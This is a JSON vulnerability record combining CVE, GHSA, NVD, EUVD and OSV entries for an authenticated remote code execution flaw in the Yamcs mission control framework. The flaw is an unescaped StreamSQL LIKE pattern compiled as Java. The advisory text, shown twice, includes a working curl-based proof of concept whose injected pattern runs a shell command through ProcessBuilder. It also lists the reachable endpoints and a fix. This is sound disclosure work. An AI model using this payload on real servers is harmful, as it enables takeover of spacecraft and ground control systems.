{"id":"CVE-2026-55565","aliases":["EUVD-2026-67844","GHSA-c64q-hj4j-375f"],"status":"published","title":"Yamcs: Authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)","description":"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0065,"percentile":0.51477,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-08-28T17:29:56Z","modified":"2026-10-28T11:14:58Z","fixes":[{"ecosystem":"Maven","package":"org.yamcs:yamcs-core","fixed_in":["5.13.2","5.12.8"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.13.0"},{"last_affected":"5.13.1"},{"fixed":"5.13.2"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.12.7"},{"fixed":"5.12.8"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.13.0"},{"fixed":"5.13.2"}]}],"versions":["5.13.0","5.13.1"]},{"source":"osv","ecosystem":"Maven","package":"org.yamcs:yamcs-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.12.8"}]}],"versions":["0.29.3","0.30.0","3.0.0","3.1.0","3.1.1","3.1.2","3.2.0","3.2.1","3.2.2","3.3.0","3.3.1","3.4.0","3.4.1","3.4.11","3.4.2","3.4.3","3.4.4","3.4.5","3.4.6","3.4.8","4.0.0","4.0.1","4.1.1","4.1.2","4.10.0","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.10.9","4.2.0","4.2.1","4.2.2","4.3.0","4.3.1","4.4.0","4.4.1","4.4.2","4.5.0","4.6.0","4.6.1","4.6.2","4.6.3","4.7","4.7.1","4.7.3","4.8.0","4.8.1","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","5.0.0","5.1.0","5.1.1","5.1.2","5.1.3","5.1.4","5.10.0","5.10.1","5.10.10","5.10.11","5.10.12","5.10.2","5.10.3","5.10.4","5.10.5","5.10.6","5.10.7","5.10.8","5.10.9","5.11.0","5.11.1","5.11.10","5.11.11","5.11.12","5.11.13","5.11.2","5.11.3","5.11.4","5.11.5","5.11.6","5.11.7","5.11.8","5.11.9","5.12.0","5.12.1","5.12.2","5.12.3","5.12.4","5.12.5","5.12.6","5.12.7","5.2.0","5.2.1","5.2.2","5.2.3","5.2.4","5.2.5","5.2.6","5.3.0","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.1","5.4.2","5.4.3","5.4.4","5.4.5","5.5.0","5.5.1","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.7","5.6.0","5.6.1","5.6.2","5.7.0","5.7.1","5.7.10","5.7.11","5.7.12","5.7.13","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.9","5.8.0","5.8.1","5.8.2","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.9.0","5.9.1","5.9.10","5.9.11","5.9.12","5.9.2","5.9.3","5.9.4","5.9.5","5.9.6","5.9.7","5.9.8","5.9.8.1","5.9.9"]}],"products":[{"vendor":"yamcs","product":"yamcs"}],"references":[{"url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-c64q-hj4j-375f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55565.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55565","tags":["advisory"]},{"url":"https://github.com/yamcs/yamcs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55565","title":"Yamcs: Authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)","description":"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.","status":"published","published":"2026-08-28T17:29:56.768Z","modified":"2026-08-31T18:54:38.31Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-67844","description":"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.","status":"published","published":"2026-08-28T17:29:56Z","modified":"2026-08-31T18:54:38Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:19.818565Z"}],"ghsa":[{"id":"GHSA-c64q-hj4j-375f","title":"Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)","description":"## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(\u003ccol\u003e, \"\u003cpattern\u003e\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"'\" (~[\"'\"])* \"'\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -\u003e `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://\u003chost\u003e:8090\nINSTANCE=\u003cinstance\u003e\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d 'grant_type=password\u0026username=USER\u0026password=PASS' \\\n  | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}'\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN='a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id \u003e /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1'\nSQL=\"create stream pwn as select * from demo where y like '$PATTERN'\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d \"$(python3 -c 'import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))' \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -\u003e uid=...(...)\n```\nA benign `like 'abc%'` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.","status":"published","published":"2026-08-28T17:30:32Z","modified":"2026-08-28T17:30:35Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:41:07.031507Z"}],"nvd":[{"id":"CVE-2026-55565","description":"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.","status":"published","published":"2026-08-28T20:18:29.07Z","modified":"2026-09-08T21:08:37.32Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55565","title":"Yamcs: Authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)","description":"Yamcs is a mission control framework. Prior to 5.12.8 and 5.13.2, Yamcs LikeExpression.fillCode_getValueReturn in yamcs-core/src/main/java/org/yamcs/yarch/streamsql/LikeExpression.java inserts an unescaped LIKE pattern into Java source compiled by Expression.getCompiledExpression through SimpleCompiler.cook instead of applying ValueExpression.escapeJavaString. The pattern can originate from POST /api/archive/{instance}:executeSql, POST /api/archive/{instance}:streamSql, POST /api/archive/{instance}/tables/{table}:readRows, GET /api/archive/{instance}/events, or activity searches, including paths available with ReadTables, ReadEvents, or ReadActivities. A quote in the pattern can inject Java that runs as the Yamcs server process. This issue is fixed in versions 5.12.8 and 5.13.2.","status":"published","published":"2026-08-28T17:29:56.768Z","modified":"2026-10-28T11:14:58.174523367Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-c64q-hj4j-375f","title":"Yamcs vulnerable to authenticated remote code execution via unescaped StreamSQL `LIKE` pattern compiled by Janino (`LikeExpression`)","description":"## Summary\nYamcs compiles StreamSQL query expressions to Java at runtime with Janino. The `LIKE` operator inserts the user-supplied pattern into the generated Java **unescaped**, inside a `\"...\"` literal, so a pattern containing `\"` breaks out and injects arbitrary Java (e.g. a `static{}` block that runs an OS command when the compiled filter class loads). Result: RCE as the OS user running Yamcs.\n\nThe pattern is embedded raw whether it comes from a SQL string literal or a bound `?` argument, so the sink is reachable from any endpoint that builds a `LIKE` from user input, at routine **read-only** privileges, not just `executeSql`:\n- `POST /api/archive/{instance}:executeSql` and `:streamSql` (privilege `ControlArchiving`)\n- `POST /api/archive/{instance}/tables/{table}:readRows` via the `query` field (privilege `ReadTables`)\n- `GET /api/archive/{instance}/events?q=` and the event export/stream variants (privilege `ReadEvents`)\n- `listActivities` `q` (privilege `ReadActivities`)\n\nThe Events page search box feeds `q` directly.\n\nIndependent of the May-2026 algorithm-override RCEs (CVE-2026-46562/46621/44632): it needs none of `ChangeMissionDatabase` and is not affected by the `overrideAlgorithmsEnabled` gate.\n\n## Details\n- **Sink:** `Expression#getCompiledExpression` compiles generated source with `SimpleCompiler.cook(...)` (`Expression.java:205`) and instantiates it (`Expression.java:213`) at stream prep, before any tuple flows.\n- **Injection:** `LikeExpression#fillCode_getValueReturn` (`LikeExpression.java:26`) appends `likeClause.pattern` raw into `Utils.like(\u003ccol\u003e, \"\u003cpattern\u003e\")`. The safe sibling `ValueExpression` escapes literals via `escapeJavaString()` (`ValueExpression.java:82-85`); a review of all 35 streamsql code-generators found `LikeExpression` to be the only unescaped one.\n- **Grammar:** `S_STRING = \"'\" (~[\"'\"])* \"'\"` (`StreamSql.jj:222`) allows `\"`; `getNonEscapedString` (`StreamSql.jj:36`) does not escape `\"` or `\\`.\n- **Reachability:** `TableApi#executeSql` (`TableApi.java:399`) checks only `ControlArchiving`, then passes the raw statement to `ydb.createStatement(...)`. No SecurityManager or Janino sandbox is configured, so the compiled code can call `Runtime`/`ProcessBuilder`. `:streamSql` (`TableApi.java:447`) is equally affected.\n- **The sink is reachable from several lower-privilege endpoints, not just `executeSql`.** A LIKE pattern is embedded raw whether it comes from a SQL literal or a bound `?` argument (`nextArgAsString` -\u003e `likeClause.pattern`), so any endpoint building `... LIKE ?` with attacker input also reaches it:\n  - `POST .../tables/{table}:readRows` (`TableApi.java:276`, privilege **ReadTables**): the `query` and `cols` request fields are concatenated raw into the executed StreamSQL (`sqlb.where(request.getQuery())`). Verified RCE.\n  - `GET .../events?q=` (`listEvents`, EventsApi.java:79/109) and exportEvents/streamEvents (EventsApi.java:290/344), privilege **ReadEvents**: `body.message like ?` with `\"%\"+q+\"%\"`. Verified RCE.\n  - `listActivities` (ActivitiesApi.java:86/113), privilege **ReadActivities**: `detail like ?` with `\"%\"+q+\"%\"`.\n  `ReadTables`/`ReadEvents`/`ReadActivities` are routine read-only permissions. The single `escapeJavaString` fix below closes all of these (one sink). The raw `readRows` WHERE/cols concatenation is an additional StreamSQL-injection that should be fixed independently (validate `cols`, do not accept a free-form `query` at `ReadTables`).\n\n## Proof of Concept\nAgainst a Yamcs server with security enabled (default HTTP port `8090`), as a user holding only `ControlArchiving`.\n\n```bash\nBASE=http://\u003chost\u003e:8090\nINSTANCE=\u003cinstance\u003e\n\n# 1. Get a token for a ControlArchiving user.\nTOK=$(curl -s -X POST \"$BASE/auth/token\" \\\n  -d 'grant_type=password\u0026username=USER\u0026password=PASS' \\\n  | python3 -c 'import sys,json;print(json.load(sys.stdin)[\"access_token\"])')\n\n# 2. Create a table with a string column.\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d '{\"statement\":\"create table demo(gentime timestamp, y string, primary key(gentime))\"}'\n\n# 3. Inject the LIKE pattern. It closes the generated Java string and method, adds a\n#    static{} initializer that runs an OS command, then reopens a dummy method so the\n#    generated class still compiles.\nPATTERN='a\"); } static { try { new ProcessBuilder(new String[]{\"/bin/sh\",\"-c\",\"id \u003e /tmp/pwned\"}).start().waitFor(); } catch (Exception e) {} } public Object dummy() { return Integer.valueOf(\"1'\nSQL=\"create stream pwn as select * from demo where y like '$PATTERN'\"\ncurl -s -X POST \"$BASE/api/archive/$INSTANCE:executeSql\" \\\n  -H \"Authorization: Bearer $TOK\" -H 'Content-Type: application/json' \\\n  -d \"$(python3 -c 'import sys,json;print(json.dumps({\"statement\":sys.argv[1]}))' \"$SQL\")\"\n\n# 4. Proof: the command ran as the Yamcs OS user (on the server host).\ncat /tmp/pwned        # -\u003e uid=...(...)\n```\nA benign `like 'abc%'` does nothing; exploitation depends on the `\"` break-out.\n\n## Impact\nArbitrary OS command execution as the Yamcs user: telecommand injection/suppression, telemetry tampering, filesystem and credential/key access, lateral movement, persistence. The attacker needs only a read-only archive privilege, not an MDB/archive-control role: the sink is reachable via `executeSql` (`ControlArchiving`), `readRows` (`ReadTables`), the events list/export/stream endpoints (`ReadEvents`), and the activities listing (`ReadActivities`).\n\nExploitation via `executeSql` generates no Yamcs event and is not audit-logged (the created table/stream persist and the request may appear in an HTTP access log).\n\n## Remediation\nEscape the pattern like other literals, in `LikeExpression.fillCode_getValueReturn`:\n```java\ncode.append(\", \\\"\");\nValueExpression.escapeJavaString(likeClause.pattern, code);  // was: code.append(likeClause.pattern);\ncode.append(\"\\\")\");\n```\nDefence-in-depth: pass the pattern as a bound argument instead of inlining it; audit every `cook()` path; compile generated classes under a classloader that cannot reach `Runtime`/`ProcessBuilder`.","status":"published","published":"2026-08-28T17:30:32Z","modified":"2026-08-28T17:55:38.149008Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:44.571161Z"}]}}